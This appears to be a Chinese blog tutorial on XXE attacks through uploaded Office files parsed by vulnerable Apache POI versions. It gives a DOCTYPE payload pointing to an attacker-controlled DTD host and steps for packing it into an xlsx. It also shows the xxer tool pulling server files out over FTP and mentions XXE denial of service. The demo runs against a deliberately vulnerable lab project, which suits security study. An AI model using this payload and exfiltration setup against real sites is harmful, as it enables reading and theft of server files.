Office XXE攻击
一、什么是Office XXE攻击
Office XXE攻击是xxe攻击的一种,由于.xlsx与.docx是基于xml文件存储内容的,后端在解析这些xml时自然也会存在xxe攻击的可能。
这里是.xlsx而不是.xls,是因为Excel有多种文件类型,xls是Excle 2003版本之前使用的文件格式,二进制的文件保存方式。Xlsx和xls就相差一个X字母,这里的X表示XML,相对于XLS,XLSX支持更多的功能,X也有扩展的意思。
与其说office xxe攻击不如说是利用Apache POI开源组件的CVE-2014-3529 、CVE-2014-3574、CVE-2017-5644这几个漏洞。具体见:https://bbs.huaweicloud.com/blogs/103994
攻击场景:网站允许上传xlsx或doc,服务器解析上传的文件获取文件内容。
二、恶意文件制作
1、下载恶意的excel文件,链接:https://pan.baidu.com/s/1iJU5Jbdsex1ZGp1jTkpY1Q?pwd=123p
2、修改后缀名为zip,解压文件得到如下文件
3、进入docProps文件夹,打开core.xml文件,修改如下地址为你的dnslog地址,保存退出插入时poc时注意xml文件格式,在`<?xml version="1.0" encoding="UTF-8"?>`后面插入
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://你的dnslog地址/ext.dtd">%aaa;%ccc;%ddd;]>
4、从新将这些文件压缩为zip文件,再修改后缀为.xlsx。就得到了恶意的excel文件。
三、获取网站数据
一般情况下offic xxe都是不回显的,只能外带数据。
外带数据需要根据网站使用的开发语言进行抉择。一般情况下大部分网站都是使用java。
对于java的站点可以使用p牛的一个项目。
https://github.com/phith0n/xxer
下载后使用python2运行:
python2 xxer.py -H vps_IP
默认情况下读取/tmp目录,根据操作系统或需求修改ext.dtd文件。注意:windows系统中不能列目录,因为存在文件的完整路径
演示项目为java-sec-code中的ooxml XXE :https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md
通过ftp协议成功读取到服务器/tmp目录下的文件
四、一些注意事项
1、修改为zip后缀,解压后会发现有很多文件,建议每个文件都插入poc,可能服务器去解析的时候触发点可能在其他文件
2、如果使用外带没收到请求,不妨试一下xxe dos
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~